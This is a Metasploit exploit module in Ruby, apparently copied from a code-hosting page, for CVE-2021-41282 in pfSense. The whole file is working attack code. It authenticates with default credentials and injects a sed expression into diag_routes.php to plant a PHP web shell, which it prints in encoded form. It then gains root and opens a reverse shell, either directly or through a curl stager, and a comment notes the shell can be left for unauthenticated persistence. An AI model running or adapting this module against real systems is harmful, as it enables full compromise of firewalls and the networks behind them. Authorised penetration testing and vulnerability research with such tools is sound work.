Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/unix/http/pfsense_diag_routes_webshell.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::CmdStager10include Msf::Exploit::FileDropper11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'pfSense Diag Routes Web Shell Upload',18'Description' => %q{19This module exploits an arbitrary file creation vulnerability in the pfSense20HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.221and can be exploited by an authenticated user if they have the22"WebCfg - Diagnostics: Routing tables" privilege.2324This module uses the vulnerability to create a web shell and execute payloads25with root privileges.26},27'License' => MSF_LICENSE,28'Author' => [29'Abdel Adim "smaury" Oisfi of Shielder', # vulnerability discovery30'jbaines-r7' # metasploit module31],32'References' => [33['CVE', '2021-41282'],34['URL', 'https://www.shielder.it/advisories/pfsense-remote-command-execution/']35],36'DisclosureDate' => '2022-02-23',37'Platform' => ['unix', 'bsd'],38'Arch' => [ARCH_CMD, ARCH_X64],39'Privileged' => true,40'Targets' => [41[42'Unix Command',43{44'Platform' => 'unix',45'Arch' => ARCH_CMD,46'Type' => :unix_cmd,47'DefaultOptions' => {48'PAYLOAD' => 'cmd/unix/reverse_openssl'49},50'Payload' => {51'Append' => ' & disown'52}53}54],55[56'BSD Dropper',57{58'Platform' => 'bsd',59'Arch' => [ARCH_X64],60'Type' => :bsd_dropper,61'CmdStagerFlavor' => [ 'curl' ],62'DefaultOptions' => {63'PAYLOAD' => 'bsd/x64/shell_reverse_tcp'64}65}66]67],68'DefaultTarget' => 1,69'DefaultOptions' => {70'RPORT' => 443,71'SSL' => true72},73'Notes' => {74'Stability' => [CRASH_SAFE],75'Reliability' => [REPEATABLE_SESSION],76'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]77}78)79)80register_options [81OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),82OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pfsense']),83OptString.new('WEBSHELL_NAME', [false, 'The name of the uploaded webshell. This value is random if left unset', nil]),84OptBool.new('DELETE_WEBSHELL', [true, 'Indicates if the webshell should be deleted or not.', true])85]8687@webshell_uri = '/'88@webshell_path = '/usr/local/www/'89end9091# Authenticate and attempt to exploit the diag_routes.php upload. Unfortunately,92# pfsense permissions can be so locked down that we have to try direct exploitation93# in order to determine vulnerability. A user can even be restricted from the94# dashboard (where other pfsense modules extract the version).95def check96# Grab a CSRF token so that we can log in97res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))98return CheckCode::Unknown("Didn't receive a response from the target.") unless res99return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200100return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')101102/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body103return CheckCode::Unknown('Could not find CSRF token') unless csrf104105# send the log in attempt106res = send_request_cgi(107'uri' => normalize_uri(target_uri.path, '/index.php'),108'method' => 'POST',109'vars_post' => {110'__csrf_magic' => csrf,111'usernamefld' => datastore['USERNAME'],112'passwordfld' => datastore['PASSWORD'],113'login' => ''114}115)116117return CheckCode::Detected('No response to log in attempt.') unless res118return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302119120# save the auth cookie for later user121@auth_cookies = res.get_cookies122123# attempt the exploit. Upload a random file to /usr/local/www/ with random contents124filename = Rex::Text.rand_text_alpha(4..12)125contents = Rex::Text.rand_text_alpha(16..32)126res = send_request_cgi({127'method' => 'GET',128'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),129'cookie' => @auth_cookies,130'encode_params' => false,131'vars_get' => {132'isAjax' => '1',133'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"134}135})136137return CheckCode::Safe('No response to upload attempt.') unless res138return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200139140# Validate the exploit was successful by requesting the uploaded file141res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })142return CheckCode::Safe('No response to exploit validation check.') unless res143return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200144145register_file_for_cleanup("#{@webshell_path}#{filename}")146CheckCode::Vulnerable()147end148149# Using the path traversal, upload a php webshell to the remote target150def drop_webshell151webshell_location = normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}")152print_status("Uploading webshell to #{webshell_location}")153154# php_webshell = '<?php if(isset($_GET["cmd"])) { system($_GET["cmd"]); } ?>'155php_shell = '\\x3c\\x3fphp+if($_GET[\\x22cmd\\x22])+\\x7b+system($_GET[\\x22cmd\\x22])\\x3b+\\x7d+\\x3f\\x3e'156157res = send_request_cgi({158'method' => 'GET',159'uri' => normalize_uri(target_uri.path, '/diag_routes.php'),160'cookie' => @auth_cookies,161'encode_params' => false,162'vars_get' => {163'isAjax' => '1',164'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"165}166})167168fail_with(Failure::Disconnected, 'Connection failed') unless res169fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200170171# Test the web shell installed by echoing a random string and ensure it appears in the res.body172print_status('Testing if web shell installation was successful')173rand_data = Rex::Text.rand_text_alphanumeric(16..32)174res = execute_via_webshell("echo #{rand_data}")175fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)176print_good("Web shell installed at #{webshell_location}")177178# This is a great place to leave a web shell for persistence since it doesn't require auth179# to touch it. By default, we'll clean this up but the attacker has to option to leave it180if datastore['DELETE_WEBSHELL']181register_file_for_cleanup("#{@webshell_path}#{@webshell_name}")182end183end184185# Executes commands via the uploaded webshell186def execute_via_webshell(cmd)187if target['Type'] == :bsd_dropper188# the bsd dropper using the reverse shell payload + curl cmdstager doesn't have a good189# way to force the payload to background itself (and thus allow the HTTP response to190# to return). So we hack it in ourselves. This identifies the ending file cleanup191# which should be right after executing the payload.192cmd = cmd.sub(';rm -f /tmp/', ' & disown;rm -f /tmp/')193end194195res = send_request_cgi({196'method' => 'GET',197'uri' => normalize_uri(target_uri.path, "#{@webshell_uri}#{@webshell_name}"),198'vars_get' => {199'cmd' => cmd200}201})202203fail_with(Failure::Disconnected, 'Connection failed') unless res204fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200205res206end207208def execute_command(cmd, _opts = {})209execute_via_webshell(cmd)210end211212def exploit213# create a randomish web shell name if the user doesn't specify one214@webshell_name = datastore['WEBSHELL_NAME'] || "#{Rex::Text.rand_text_alpha(5..12)}.php"215216drop_webshell217218print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")219case target['Type']220when :unix_cmd221execute_command(payload.encoded)222when :bsd_dropper223execute_cmdstager224end225end226end227228229